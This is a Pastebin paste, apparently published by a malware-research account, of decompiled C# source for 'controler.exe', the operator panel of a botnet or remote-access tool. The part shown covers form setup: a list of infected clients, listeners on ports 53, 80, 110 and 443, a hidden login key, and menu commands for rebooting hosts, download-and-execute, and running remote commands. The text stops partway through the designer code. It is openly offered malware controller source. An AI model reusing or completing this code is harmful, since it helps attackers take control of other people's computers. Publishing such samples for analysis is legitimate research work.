SHARE
TWEET

controler.exe / Form1

MalwareMustDie Jul 13th, 2015 189 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. using Microsoft.VisualBasic;
  2. using Microsoft.VisualBasic.CompilerServices;
  3. using System;
  4. using System.Collections;
  5. using System.Collections.Generic;
  6. using System.ComponentModel;
  7. using System.Diagnostics;
  8. using System.Drawing;
  9. using System.IO;
  10. using System.Net;
  11. using System.Net.Sockets;
  12. using System.Runtime.CompilerServices;
  13. using System.Text;
  14. using System.Threading;
  15. using System.Windows.Forms;
  16. namespace Control
  17. {
  18.         [DesignerGenerated]
  19.         public class Form1 : Form
  20.         {
  21.                 [CompilerGenerated]
  22.                 internal class _Closure$__1
  23.                 {
  24.                         public Button $VB$Local_VB$t_ref$S1;
  25.                         [DebuggerStepThrough, CompilerGenerated]
  26.                         public void _Lambda$__4(object a0, EventArgs a1)
  27.                         {
  28.                                 this.$VB$Local_VB$t_ref$S1.PerformClick();
  29.                         }
  30.                 }
  31.                 private IContainer components;
  32.                 [AccessedThroughProperty("ListView1")]
  33.                 private ListView _ListView1;
  34.                 [AccessedThroughProperty("IP")]
  35.                 private ColumnHeader _IP;
  36.                 [AccessedThroughProperty("Status")]
  37.                 private ColumnHeader _Status;
  38.                 [AccessedThroughProperty("OnlineTime")]
  39.                 private ColumnHeader _OnlineTime;
  40.                 [AccessedThroughProperty("SvrPort")]
  41.                 private ColumnHeader _SvrPort;
  42.                 [AccessedThroughProperty("PortBN")]
  43.                 private Button _PortBN;
  44.                 [AccessedThroughProperty("PortText")]
  45.                 private TextBox _PortText;
  46.                 [AccessedThroughProperty("RichTextBox1")]
  47.                 private RichTextBox _RichTextBox1;
  48.                 [AccessedThroughProperty("Button1")]
  49.                 private Button _Button1;
  50.                 [AccessedThroughProperty("LoginKey")]
  51.                 private TextBox _LoginKey;
  52.                 [AccessedThroughProperty("DelOffline")]
  53.                 private CheckBox _DelOffline;
  54.                 [AccessedThroughProperty("ContextMenuStrip1")]
  55.                 private ContextMenuStrip _ContextMenuStrip1;
  56.                 [AccessedThroughProperty("RebootToolStripMenuItem")]
  57.                 private ToolStripMenuItem _RebootToolStripMenuItem;
  58.                 [AccessedThroughProperty("DeleteRowsToolStripMenuItem")]
  59.                 private ToolStripMenuItem _DeleteRowsToolStripMenuItem;
  60.                 [AccessedThroughProperty("ToolStripSeparator1")]
  61.                 private ToolStripSeparator _ToolStripSeparator1;
  62.                 [AccessedThroughProperty("ShellToolStripMenuItem")]
  63.                 private ToolStripMenuItem _ShellToolStripMenuItem;
  64.                 [AccessedThroughProperty("ColumnHeader1")]
  65.                 private ColumnHeader _ColumnHeader1;
  66.                 [AccessedThroughProperty("Timer1")]
  67.                 private System.Windows.Forms.Timer _Timer1;
  68.                 [AccessedThroughProperty("ColumnHeader2")]
  69.                 private ColumnHeader _ColumnHeader2;
  70.                 [AccessedThroughProperty("ExecCmdToolStripMenuItem")]
  71.                 private ToolStripMenuItem _ExecCmdToolStripMenuItem;
  72.                 [AccessedThroughProperty("Button2")]
  73.                 private Button _Button2;
  74.                 [AccessedThroughProperty("ToolStripSeparator2")]
  75.                 private ToolStripSeparator _ToolStripSeparator2;
  76.                 [AccessedThroughProperty("KillWebListToolStripMenuItem")]
  77.                 private ToolStripMenuItem _KillWebListToolStripMenuItem;
  78.                 [AccessedThroughProperty("CheckRunListToolStripMenuItem")]
  79.                 private ToolStripMenuItem _CheckRunListToolStripMenuItem;
  80.                 [AccessedThroughProperty("ToolStripSeparator3")]
  81.                 private ToolStripSeparator _ToolStripSeparator3;
  82.                 [AccessedThroughProperty("DISRUNToolStripMenuItem")]
  83.                 private ToolStripMenuItem _DISRUNToolStripMenuItem;
  84.                 [AccessedThroughProperty("EnRUNLISTToolStripMenuItem")]
  85.                 private ToolStripMenuItem _EnRUNLISTToolStripMenuItem;
  86.                 [AccessedThroughProperty("CheckBox1")]
  87.                 private CheckBox _CheckBox1;
  88.                 [AccessedThroughProperty("CheckBox2")]
  89.                 private CheckBox _CheckBox2;
  90.                 private Socket Sock;
  91.                 private Thread ReceiveThread;
  92.                 private int Listmode;
  93.                 private string key;
  94.                 private bool Disdown;
  95.                 private Thread[] dataThread;
  96.                 private int ListStatus;
  97.                 private Dictionary<string, Thread> ClientThread;
  98.                 private Dictionary<string, Socket> ClientSockets;
  99.                 private Dictionary<string, IPEndPoint> ClietnIP;
  100.                 private Dictionary<string, bool> ClientAuth;
  101.                 private object[] Listener;
  102.                 private int OnlineNum;
  103.                 private int OfflineNum;
  104.                 private string AppPath;
  105.                 private int $STATIC$PortBN_Click$20211C1261$Status;
  106.                 private Thread $STATIC$Listen$20118$Listh;
  107.                 internal virtual ListView ListView1
  108.                 {
  109.                         get
  110.                         {
  111.                                 return this._ListView1;
  112.                         }
  113.                         [MethodImpl(MethodImplOptions.Synchronized)]
  114.                         set
  115.                         {
  116.                                 MouseEventHandler value2 = new MouseEventHandler(this.ListView1_MouseUp);
  117.                                 if (this._ListView1 != null)
  118.                                 {
  119.                                         this._ListView1.MouseUp -= value2;
  120.                                 }
  121.                                 this._ListView1 = value;
  122.                                 if (this._ListView1 != null)
  123.                                 {
  124.                                         this._ListView1.MouseUp += value2;
  125.                                 }
  126.                         }
  127.                 }
  128.                 internal virtual ColumnHeader IP
  129.                 {
  130.                         get
  131.                         {
  132.                                 return this._IP;
  133.                         }
  134.                         [MethodImpl(MethodImplOptions.Synchronized)]
  135.                         set
  136.                         {
  137.                                 this._IP = value;
  138.                         }
  139.                 }
  140.                 internal virtual ColumnHeader Status
  141.                 {
  142.                         get
  143.                         {
  144.                                 return this._Status;
  145.                         }
  146.                         [MethodImpl(MethodImplOptions.Synchronized)]
  147.                         set
  148.                         {
  149.                                 this._Status = value;
  150.                         }
  151.                 }
  152.                 internal virtual ColumnHeader OnlineTime
  153.                 {
  154.                         get
  155.                         {
  156.                                 return this._OnlineTime;
  157.                         }
  158.                         [MethodImpl(MethodImplOptions.Synchronized)]
  159.                         set
  160.                         {
  161.                                 this._OnlineTime = value;
  162.                         }
  163.                 }
  164.                 internal virtual ColumnHeader SvrPort
  165.                 {
  166.                         get
  167.                         {
  168.                                 return this._SvrPort;
  169.                         }
  170.                         [MethodImpl(MethodImplOptions.Synchronized)]
  171.                         set
  172.                         {
  173.                                 this._SvrPort = value;
  174.                         }
  175.                 }
  176.                 internal virtual Button PortBN
  177.                 {
  178.                         get
  179.                         {
  180.                                 return this._PortBN;
  181.                         }
  182.                         [MethodImpl(MethodImplOptions.Synchronized)]
  183.                         set
  184.                         {
  185.                                 EventHandler value2 = new EventHandler(this.PortBN_Click);
  186.                                 if (this._PortBN != null)
  187.                                 {
  188.                                         this._PortBN.Click -= value2;
  189.                                 }
  190.                                 this._PortBN = value;
  191.                                 if (this._PortBN != null)
  192.                                 {
  193.                                         this._PortBN.Click += value2;
  194.                                 }
  195.                         }
  196.                 }
  197.                 internal virtual TextBox PortText
  198.                 {
  199.                         get
  200.                         {
  201.                                 return this._PortText;
  202.                         }
  203.                         [MethodImpl(MethodImplOptions.Synchronized)]
  204.                         set
  205.                         {
  206.                                 KeyPressEventHandler value2 = new KeyPressEventHandler(this.PortText_KeyPress);
  207.                                 EventHandler value3 = new EventHandler(this.PortText_Enter);
  208.                                 if (this._PortText != null)
  209.                                 {
  210.                                         this._PortText.KeyPress -= value2;
  211.                                         this._PortText.Enter -= value3;
  212.                                 }
  213.                                 this._PortText = value;
  214.                                 if (this._PortText != null)
  215.                                 {
  216.                                         this._PortText.KeyPress += value2;
  217.                                         this._PortText.Enter += value3;
  218.                                 }
  219.                         }
  220.                 }
  221.                 internal virtual RichTextBox RichTextBox1
  222.                 {
  223.                         get
  224.                         {
  225.                                 return this._RichTextBox1;
  226.                         }
  227.                         [MethodImpl(MethodImplOptions.Synchronized)]
  228.                         set
  229.                         {
  230.                                 this._RichTextBox1 = value;
  231.                         }
  232.                 }
  233.                 internal virtual Button Button1
  234.                 {
  235.                         get
  236.                         {
  237.                                 return this._Button1;
  238.                         }
  239.                         [MethodImpl(MethodImplOptions.Synchronized)]
  240.                         set
  241.                         {
  242.                                 EventHandler value2 = new EventHandler(this.Button1_Click);
  243.                                 if (this._Button1 != null)
  244.                                 {
  245.                                         this._Button1.Click -= value2;
  246.                                 }
  247.                                 this._Button1 = value;
  248.                                 if (this._Button1 != null)
  249.                                 {
  250.                                         this._Button1.Click += value2;
  251.                                 }
  252.                         }
  253.                 }
  254.                 internal virtual TextBox LoginKey
  255.                 {
  256.                         get
  257.                         {
  258.                                 return this._LoginKey;
  259.                         }
  260.                         [MethodImpl(MethodImplOptions.Synchronized)]
  261.                         set
  262.                         {
  263.                                 this._LoginKey = value;
  264.                         }
  265.                 }
  266.                 internal virtual CheckBox DelOffline
  267.                 {
  268.                         get
  269.                         {
  270.                                 return this._DelOffline;
  271.                         }
  272.                         [MethodImpl(MethodImplOptions.Synchronized)]
  273.                         set
  274.                         {
  275.                                 this._DelOffline = value;
  276.                         }
  277.                 }
  278.                 internal virtual ContextMenuStrip ContextMenuStrip1
  279.                 {
  280.                         get
  281.                         {
  282.                                 return this._ContextMenuStrip1;
  283.                         }
  284.                         [MethodImpl(MethodImplOptions.Synchronized)]
  285.                         set
  286.                         {
  287.                                 this._ContextMenuStrip1 = value;
  288.                         }
  289.                 }
  290.                 internal virtual ToolStripMenuItem RebootToolStripMenuItem
  291.                 {
  292.                         get
  293.                         {
  294.                                 return this._RebootToolStripMenuItem;
  295.                         }
  296.                         [MethodImpl(MethodImplOptions.Synchronized)]
  297.                         set
  298.                         {
  299.                                 EventHandler value2 = new EventHandler(this.RebootToolStripMenuItem_Click);
  300.                                 if (this._RebootToolStripMenuItem != null)
  301.                                 {
  302.                                         this._RebootToolStripMenuItem.Click -= value2;
  303.                                 }
  304.                                 this._RebootToolStripMenuItem = value;
  305.                                 if (this._RebootToolStripMenuItem != null)
  306.                                 {
  307.                                         this._RebootToolStripMenuItem.Click += value2;
  308.                                 }
  309.                         }
  310.                 }
  311.                 internal virtual ToolStripMenuItem DeleteRowsToolStripMenuItem
  312.                 {
  313.                         get
  314.                         {
  315.                                 return this._DeleteRowsToolStripMenuItem;
  316.                         }
  317.                         [MethodImpl(MethodImplOptions.Synchronized)]
  318.                         set
  319.                         {
  320.                                 EventHandler value2 = new EventHandler(this.DeleteRowsToolStripMenuItem_Click);
  321.                                 if (this._DeleteRowsToolStripMenuItem != null)
  322.                                 {
  323.                                         this._DeleteRowsToolStripMenuItem.Click -= value2;
  324.                                 }
  325.                                 this._DeleteRowsToolStripMenuItem = value;
  326.                                 if (this._DeleteRowsToolStripMenuItem != null)
  327.                                 {
  328.                                         this._DeleteRowsToolStripMenuItem.Click += value2;
  329.                                 }
  330.                         }
  331.                 }
  332.                 internal virtual ToolStripSeparator ToolStripSeparator1
  333.                 {
  334.                         get
  335.                         {
  336.                                 return this._ToolStripSeparator1;
  337.                         }
  338.                         [MethodImpl(MethodImplOptions.Synchronized)]
  339.                         set
  340.                         {
  341.                                 this._ToolStripSeparator1 = value;
  342.                         }
  343.                 }
  344.                 internal virtual ToolStripMenuItem ShellToolStripMenuItem
  345.                 {
  346.                         get
  347.                         {
  348.                                 return this._ShellToolStripMenuItem;
  349.                         }
  350.                         [MethodImpl(MethodImplOptions.Synchronized)]
  351.                         set
  352.                         {
  353.                                 EventHandler value2 = new EventHandler(this.ShellToolStripMenuItem_Click);
  354.                                 if (this._ShellToolStripMenuItem != null)
  355.                                 {
  356.                                         this._ShellToolStripMenuItem.Click -= value2;
  357.                                 }
  358.                                 this._ShellToolStripMenuItem = value;
  359.                                 if (this._ShellToolStripMenuItem != null)
  360.                                 {
  361.                                         this._ShellToolStripMenuItem.Click += value2;
  362.                                 }
  363.                         }
  364.                 }
  365.                 internal virtual ColumnHeader ColumnHeader1
  366.                 {
  367.                         get
  368.                         {
  369.                                 return this._ColumnHeader1;
  370.                         }
  371.                         [MethodImpl(MethodImplOptions.Synchronized)]
  372.                         set
  373.                         {
  374.                                 this._ColumnHeader1 = value;
  375.                         }
  376.                 }
  377.                 internal virtual System.Windows.Forms.Timer Timer1
  378.                 {
  379.                         get
  380.                         {
  381.                                 return this._Timer1;
  382.                         }
  383.                         [MethodImpl(MethodImplOptions.Synchronized)]
  384.                         set
  385.                         {
  386.                                 EventHandler value2 = new EventHandler(this.Timer1_Tick);
  387.                                 if (this._Timer1 != null)
  388.                                 {
  389.                                         this._Timer1.Tick -= value2;
  390.                                 }
  391.                                 this._Timer1 = value;
  392.                                 if (this._Timer1 != null)
  393.                                 {
  394.                                         this._Timer1.Tick += value2;
  395.                                 }
  396.                         }
  397.                 }
  398.                 internal virtual ColumnHeader ColumnHeader2
  399.                 {
  400.                         get
  401.                         {
  402.                                 return this._ColumnHeader2;
  403.                         }
  404.                         [MethodImpl(MethodImplOptions.Synchronized)]
  405.                         set
  406.                         {
  407.                                 this._ColumnHeader2 = value;
  408.                         }
  409.                 }
  410.                 internal virtual ToolStripMenuItem ExecCmdToolStripMenuItem
  411.                 {
  412.                         get
  413.                         {
  414.                                 return this._ExecCmdToolStripMenuItem;
  415.                         }
  416.                         [MethodImpl(MethodImplOptions.Synchronized)]
  417.                         set
  418.                         {
  419.                                 EventHandler value2 = new EventHandler(this.ExecCmdToolStripMenuItem_Click);
  420.                                 if (this._ExecCmdToolStripMenuItem != null)
  421.                                 {
  422.                                         this._ExecCmdToolStripMenuItem.Click -= value2;
  423.                                 }
  424.                                 this._ExecCmdToolStripMenuItem = value;
  425.                                 if (this._ExecCmdToolStripMenuItem != null)
  426.                                 {
  427.                                         this._ExecCmdToolStripMenuItem.Click += value2;
  428.                                 }
  429.                         }
  430.                 }
  431.                 internal virtual Button Button2
  432.                 {
  433.                         get
  434.                         {
  435.                                 return this._Button2;
  436.                         }
  437.                         [MethodImpl(MethodImplOptions.Synchronized)]
  438.                         set
  439.                         {
  440.                                 EventHandler value2 = new EventHandler(this.Button2_Click);
  441.                                 if (this._Button2 != null)
  442.                                 {
  443.                                         this._Button2.Click -= value2;
  444.                                 }
  445.                                 this._Button2 = value;
  446.                                 if (this._Button2 != null)
  447.                                 {
  448.                                         this._Button2.Click += value2;
  449.                                 }
  450.                         }
  451.                 }
  452.                 internal virtual ToolStripSeparator ToolStripSeparator2
  453.                 {
  454.                         get
  455.                         {
  456.                                 return this._ToolStripSeparator2;
  457.                         }
  458.                         [MethodImpl(MethodImplOptions.Synchronized)]
  459.                         set
  460.                         {
  461.                                 this._ToolStripSeparator2 = value;
  462.                         }
  463.                 }
  464.                 internal virtual ToolStripMenuItem KillWebListToolStripMenuItem
  465.                 {
  466.                         get
  467.                         {
  468.                                 return this._KillWebListToolStripMenuItem;
  469.                         }
  470.                         [MethodImpl(MethodImplOptions.Synchronized)]
  471.                         set
  472.                         {
  473.                                 EventHandler value2 = new EventHandler(this.KillWebListToolStripMenuItem_Click);
  474.                                 if (this._KillWebListToolStripMenuItem != null)
  475.                                 {
  476.                                         this._KillWebListToolStripMenuItem.Click -= value2;
  477.                                 }
  478.                                 this._KillWebListToolStripMenuItem = value;
  479.                                 if (this._KillWebListToolStripMenuItem != null)
  480.                                 {
  481.                                         this._KillWebListToolStripMenuItem.Click += value2;
  482.                                 }
  483.                         }
  484.                 }
  485.                 internal virtual ToolStripMenuItem CheckRunListToolStripMenuItem
  486.                 {
  487.                         get
  488.                         {
  489.                                 return this._CheckRunListToolStripMenuItem;
  490.                         }
  491.                         [MethodImpl(MethodImplOptions.Synchronized)]
  492.                         set
  493.                         {
  494.                                 EventHandler value2 = new EventHandler(this.CheckRunListToolStripMenuItem_Click);
  495.                                 if (this._CheckRunListToolStripMenuItem != null)
  496.                                 {
  497.                                         this._CheckRunListToolStripMenuItem.Click -= value2;
  498.                                 }
  499.                                 this._CheckRunListToolStripMenuItem = value;
  500.                                 if (this._CheckRunListToolStripMenuItem != null)
  501.                                 {
  502.                                         this._CheckRunListToolStripMenuItem.Click += value2;
  503.                                 }
  504.                         }
  505.                 }
  506.                 internal virtual ToolStripSeparator ToolStripSeparator3
  507.                 {
  508.                         get
  509.                         {
  510.                                 return this._ToolStripSeparator3;
  511.                         }
  512.                         [MethodImpl(MethodImplOptions.Synchronized)]
  513.                         set
  514.                         {
  515.                                 this._ToolStripSeparator3 = value;
  516.                         }
  517.                 }
  518.                 internal virtual ToolStripMenuItem DISRUNToolStripMenuItem
  519.                 {
  520.                         get
  521.                         {
  522.                                 return this._DISRUNToolStripMenuItem;
  523.                         }
  524.                         [MethodImpl(MethodImplOptions.Synchronized)]
  525.                         set
  526.                         {
  527.                                 EventHandler value2 = new EventHandler(this.DISRUNToolStripMenuItem_Click);
  528.                                 if (this._DISRUNToolStripMenuItem != null)
  529.                                 {
  530.                                         this._DISRUNToolStripMenuItem.Click -= value2;
  531.                                 }
  532.                                 this._DISRUNToolStripMenuItem = value;
  533.                                 if (this._DISRUNToolStripMenuItem != null)
  534.                                 {
  535.                                         this._DISRUNToolStripMenuItem.Click += value2;
  536.                                 }
  537.                         }
  538.                 }
  539.                 internal virtual ToolStripMenuItem EnRUNLISTToolStripMenuItem
  540.                 {
  541.                         get
  542.                         {
  543.                                 return this._EnRUNLISTToolStripMenuItem;
  544.                         }
  545.                         [MethodImpl(MethodImplOptions.Synchronized)]
  546.                         set
  547.                         {
  548.                                 EventHandler value2 = new EventHandler(this.EnRUNLISTToolStripMenuItem_Click);
  549.                                 if (this._EnRUNLISTToolStripMenuItem != null)
  550.                                 {
  551.                                         this._EnRUNLISTToolStripMenuItem.Click -= value2;
  552.                                 }
  553.                                 this._EnRUNLISTToolStripMenuItem = value;
  554.                                 if (this._EnRUNLISTToolStripMenuItem != null)
  555.                                 {
  556.                                         this._EnRUNLISTToolStripMenuItem.Click += value2;
  557.                                 }
  558.                         }
  559.                 }
  560.                 internal virtual CheckBox CheckBox1
  561.                 {
  562.                         get
  563.                         {
  564.                                 return this._CheckBox1;
  565.                         }
  566.                         [MethodImpl(MethodImplOptions.Synchronized)]
  567.                         set
  568.                         {
  569.                                 this._CheckBox1 = value;
  570.                         }
  571.                 }
  572.                 internal virtual CheckBox CheckBox2
  573.                 {
  574.                         get
  575.                         {
  576.                                 return this._CheckBox2;
  577.                         }
  578.                         [MethodImpl(MethodImplOptions.Synchronized)]
  579.                         set
  580.                         {
  581.                                 this._CheckBox2 = value;
  582.                         }
  583.                 }
  584.                 public Form1()
  585.                 {
  586.                         base.FormClosing += new FormClosingEventHandler(this.Form1_FormClosing);
  587.                         base.Load += new EventHandler(this.Form1_Load);
  588.                         this.ClientThread = new Dictionary<string, Thread>();
  589.                         this.ClientSockets = new Dictionary<string, Socket>();
  590.                         this.ClietnIP = new Dictionary<string, IPEndPoint>();
  591.                         this.ClientAuth = new Dictionary<string, bool>();
  592.                         this.AppPath = Application.ExecutablePath;
  593.                         this.InitializeComponent();
  594.                 }
  595.                 [DebuggerNonUserCode]
  596.                 protected override void Dispose(bool disposing)
  597.                 {
  598.                         try
  599.                         {
  600.                                 if (disposing && this.components != null)
  601.                                 {
  602.                                         this.components.Dispose();
  603.                                 }
  604.                         }
  605.                         finally
  606.                         {
  607.                                 base.Dispose(disposing);
  608.                         }
  609.                 }
  610.                 [DebuggerStepThrough]
  611.                 private void InitializeComponent()
  612.                 {
  613.                         this.components = new Container();
  614.                         this.ListView1 = new ListView();
  615.                         this.IP = new ColumnHeader();
  616.                         this.Status = new ColumnHeader();
  617.                         this.OnlineTime = new ColumnHeader();
  618.                         this.ColumnHeader1 = new ColumnHeader();
  619.                         this.SvrPort = new ColumnHeader();
  620.                         this.ColumnHeader2 = new ColumnHeader();
  621.                         this.ContextMenuStrip1 = new ContextMenuStrip(this.components);
  622.                         this.RebootToolStripMenuItem = new ToolStripMenuItem();
  623.                         this.ToolStripSeparator1 = new ToolStripSeparator();
  624.                         this.ShellToolStripMenuItem = new ToolStripMenuItem();
  625.                         this.ExecCmdToolStripMenuItem = new ToolStripMenuItem();
  626.                         this.DeleteRowsToolStripMenuItem = new ToolStripMenuItem();
  627.                         this.ToolStripSeparator2 = new ToolStripSeparator();
  628.                         this.KillWebListToolStripMenuItem = new ToolStripMenuItem();
  629.                         this.CheckRunListToolStripMenuItem = new ToolStripMenuItem();
  630.                         this.ToolStripSeparator3 = new ToolStripSeparator();
  631.                         this.DISRUNToolStripMenuItem = new ToolStripMenuItem();
  632.                         this.EnRUNLISTToolStripMenuItem = new ToolStripMenuItem();
  633.                         this.PortBN = new Button();
  634.                         this.PortText = new TextBox();
  635.                         this.RichTextBox1 = new RichTextBox();
  636.                         this.Button1 = new Button();
  637.                         this.LoginKey = new TextBox();
  638.                         this.DelOffline = new CheckBox();
  639.                         this.Timer1 = new System.Windows.Forms.Timer(this.components);
  640.                         this.Button2 = new Button();
  641.                         this.CheckBox1 = new CheckBox();
  642.                         this.CheckBox2 = new CheckBox();
  643.                         this.ContextMenuStrip1.SuspendLayout();
  644.                         this.SuspendLayout();
  645.                         this.ListView1.AllowColumnReorder = true;
  646.                         this.ListView1.Anchor = (AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left);
  647.                         this.ListView1.BackColor = Color.FromArgb(224, 224, 224);
  648.                         this.ListView1.BorderStyle = BorderStyle.FixedSingle;
  649.                         this.ListView1.Columns.AddRange(new ColumnHeader[]
  650.                         {
  651.                                 this.IP,
  652.                                 this.Status,
  653.                                 this.OnlineTime,
  654.                                 this.ColumnHeader1,
  655.                                 this.SvrPort,
  656.                                 this.ColumnHeader2
  657.                         });
  658.                         this.ListView1.Font = new Font("微软雅黑", 9f, FontStyle.Regular, GraphicsUnit.Point, 134);
  659.                         this.ListView1.FullRowSelect = true;
  660.                         this.ListView1.GridLines = true;
  661.                         Control arg_241_0 = this.ListView1;
  662.                         Point location = new Point(0, 0);
  663.                         arg_241_0.Location = location;
  664.                         this.ListView1.Name = "ListView1";
  665.                         Control arg_26F_0 = this.ListView1;
  666.                         Size size = new Size(697, 235);
  667.                         arg_26F_0.Size = size;
  668.                         this.ListView1.Sorting = SortOrder.Ascending;
  669.                         this.ListView1.TabIndex = 0;
  670.                         this.ListView1.UseCompatibleStateImageBehavior = false;
  671.                         this.ListView1.View = View.Details;
  672.                         this.IP.Text = "IP";
  673.                         this.IP.Width = 150;
  674.                         this.Status.Text = "状态";
  675.                         this.Status.Width = 40;
  676.                         this.OnlineTime.Text = "上线时间";
  677.                         this.OnlineTime.Width = 130;
  678.                         this.ColumnHeader1.Text = "更新时间";
  679.                         this.ColumnHeader1.Width = 130;
  680.                         this.SvrPort.Text = "上线端口";
  681.                         this.ColumnHeader2.Text = "版本编译";
  682.                         this.ColumnHeader2.Width = 160;
  683.                         this.ContextMenuStrip1.Items.AddRange(new ToolStripItem[]
  684.                         {
  685.                                 this.RebootToolStripMenuItem,
  686.                                 this.ToolStripSeparator1,
  687.                                 this.ShellToolStripMenuItem,
  688.                                 this.ExecCmdToolStripMenuItem,
  689.                                 this.DeleteRowsToolStripMenuItem,
  690.                                 this.ToolStripSeparator2,
  691.                                 this.KillWebListToolStripMenuItem,
  692.                                 this.CheckRunListToolStripMenuItem,
  693.                                 this.ToolStripSeparator3,
  694.                                 this.DISRUNToolStripMenuItem,
  695.                                 this.EnRUNLISTToolStripMenuItem
  696.                         });
  697.                         this.ContextMenuStrip1.Name = "ContextMenuStrip1";
  698.                         this.ContextMenuStrip1.RenderMode = ToolStripRenderMode.System;
  699.                         Control arg_411_0 = this.ContextMenuStrip1;
  700.                         size = new Size(157, 198);
  701.                         arg_411_0.Size = size;
  702.                         this.RebootToolStripMenuItem.Name = "RebootToolStripMenuItem";
  703.                         ToolStripItem arg_43C_0 = this.RebootToolStripMenuItem;
  704.                         size = new Size(156, 22);
  705.                         arg_43C_0.Size = size;
  706.                         this.RebootToolStripMenuItem.Text = "&Reboot";
  707.                         this.ToolStripSeparator1.Name = "ToolStripSeparator1";
  708.                         ToolStripItem arg_476_0 = this.ToolStripSeparator1;
  709.                         size = new Size(153, 6);
  710.                         arg_476_0.Size = size;
  711.                         this.ShellToolStripMenuItem.Name = "ShellToolStripMenuItem";
  712.                         ToolStripItem arg_4A1_0 = this.ShellToolStripMenuItem;
  713.                         size = new Size(156, 22);
  714.                         arg_4A1_0.Size = size;
  715.                         this.ShellToolStripMenuItem.Text = "&Down Exec";
  716.                         this.ExecCmdToolStripMenuItem.Name = "ExecCmdToolStripMenuItem";
  717.                         ToolStripItem arg_4DC_0 = this.ExecCmdToolStripMenuItem;
  718.                         size = new Size(156, 22);
  719.                         arg_4DC_0.Size = size;
  720.                         this.ExecCmdToolStripMenuItem.Text = "&Exec cmd";
  721.                         this.DeleteRowsToolStripMenuItem.Name = "DeleteRowsToolStripMenuItem";
  722.                         ToolStripItem arg_517_0 = this.DeleteRowsToolStripMenuItem;
  723.                         size = new Size(156, 22);
  724.                         arg_517_0.Size = size;
  725.                         this.DeleteRowsToolStripMenuItem.Text = "Delete Row&s";
  726.                         this.ToolStripSeparator2.Name = "ToolStripSeparator2";
  727.                         ToolStripItem arg_551_0 = this.ToolStripSeparator2;
  728.                         size = new Size(153, 6);
  729.                         arg_551_0.Size = size;
  730.                         this.KillWebListToolStripMenuItem.Name = "KillWebListToolStripMenuItem";
  731.                         ToolStripItem arg_57C_0 = this.KillWebListToolStripMenuItem;
  732.                         size = new Size(156, 22);
  733.                         arg_57C_0.Size = size;
  734.                         this.KillWebListToolStripMenuItem.Text = "&Kill List";
  735.                         this.CheckRunListToolStripMenuItem.Name = "CheckRunListToolStripMenuItem";
  736.                         ToolStripItem arg_5B7_0 = this.CheckRunListToolStripMenuItem;
  737.                         size = new Size(156, 22);
  738.                         arg_5B7_0.Size = size;
  739.                         this.CheckRunListToolStripMenuItem.Text = "&Check RunList";
  740.                         this.ToolStripSeparator3.Name = "ToolStripSeparator3";
  741.                         ToolStripItem arg_5F1_0 = this.ToolStripSeparator3;
  742.                         size = new Size(153, 6);
  743.                         arg_5F1_0.Size = size;
  744.                         this.DISRUNToolStripMenuItem.Name = "DISRUNToolStripMenuItem";
  745.                         ToolStripItem arg_61C_0 = this.DISRUNToolStripMenuItem;
  746.                         size = new Size(156, 22);
  747.                         arg_61C_0.Size = size;
  748.                         this.DISRUNToolStripMenuItem.Text = "禁用检查RUN";
  749.                         this.EnRUNLISTToolStripMenuItem.Name = "EnRUNLISTToolStripMenuItem";
  750.                         ToolStripItem arg_657_0 = this.EnRUNLISTToolStripMenuItem;
  751.                         size = new Size(156, 22);
  752.                         arg_657_0.Size = size;
  753.                         this.EnRUNLISTToolStripMenuItem.Text = "启动RUNLIST";
  754.                         this.PortBN.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  755.                         Control arg_690_0 = this.PortBN;
  756.                         location = new Point(153, 243);
  757.                         arg_690_0.Location = location;
  758.                         this.PortBN.Name = "PortBN";
  759.                         Control arg_6B8_0 = this.PortBN;
  760.                         size = new Size(75, 23);
  761.                         arg_6B8_0.Size = size;
  762.                         this.PortBN.TabIndex = 1;
  763.                         this.PortBN.Text = "Start";
  764.                         this.PortBN.UseVisualStyleBackColor = true;
  765.                         this.PortText.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  766.                         Control arg_706_0 = this.PortText;
  767.                         location = new Point(12, 243);
  768.                         arg_706_0.Location = location;
  769.                         this.PortText.MaxLength = 100;
  770.                         this.PortText.Name = "PortText";
  771.                         Control arg_73E_0 = this.PortText;
  772.                         size = new Size(135, 21);
  773.                         arg_73E_0.Size = size;
  774.                         this.PortText.TabIndex = 2;
  775.                         this.PortText.Text = "53,80,110,443";
  776.                         this.RichTextBox1.Anchor = (AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right);
  777.                         this.RichTextBox1.BackColor = Color.FromArgb(224, 224, 224);
  778.                         Control arg_79F_0 = this.RichTextBox1;
  779.                         location = new Point(703, 0);
  780.                         arg_79F_0.Location = location;
  781.                         this.RichTextBox1.Name = "RichTextBox1";
  782.                         Control arg_7CA_0 = this.RichTextBox1;
  783.                         size = new Size(72, 237);
  784.                         arg_7CA_0.Size = size;
  785.                         this.RichTextBox1.TabIndex = 4;
  786.                         this.RichTextBox1.Text = "";
  787.                         this.Button1.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  788.                         Control arg_80F_0 = this.Button1;
  789.                         location = new Point(474, 243);
  790.                         arg_80F_0.Location = location;
  791.                         this.Button1.Name = "Button1";
  792.                         Control arg_837_0 = this.Button1;
  793.                         size = new Size(82, 23);
  794.                         arg_837_0.Size = size;
  795.                         this.Button1.TabIndex = 6;
  796.                         this.Button1.Text = "保存列表";
  797.                         this.Button1.UseVisualStyleBackColor = true;
  798.                         this.LoginKey.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  799.                         Control arg_881_0 = this.LoginKey;
  800.                         location = new Point(35, 2);
  801.                         arg_881_0.Location = location;
  802.                         this.LoginKey.Name = "LoginKey";
  803.                         Control arg_8A9_0 = this.LoginKey;
  804.                         size = new Size(100, 21);
  805.                         arg_8A9_0.Size = size;
  806.                         this.LoginKey.TabIndex = 7;
  807.                         this.LoginKey.Text = "MlCROS0FT";
  808.                         this.LoginKey.Visible = false;
  809.                         this.DelOffline.Anchor = (AnchorStyles.Bottom | AnchorStyles.Left);
  810.                         this.DelOffline.AutoSize = true;
  811.                         this.DelOffline.Checked = true;
  812.                         this.DelOffline.CheckState = CheckState.Checked;
  813.                         Control arg_91E_0 = this.DelOffline;
  814.                         location = new Point(234, 247);
  815.                         arg_91E_0.Location = location;
  816.                         this.DelOffline.Name = "DelOffline";
  817.                         Control arg_946_0 = this.DelOffline;
  818.                         size = new Size(72, 16);
  819.                         arg_946_0.Size = size;
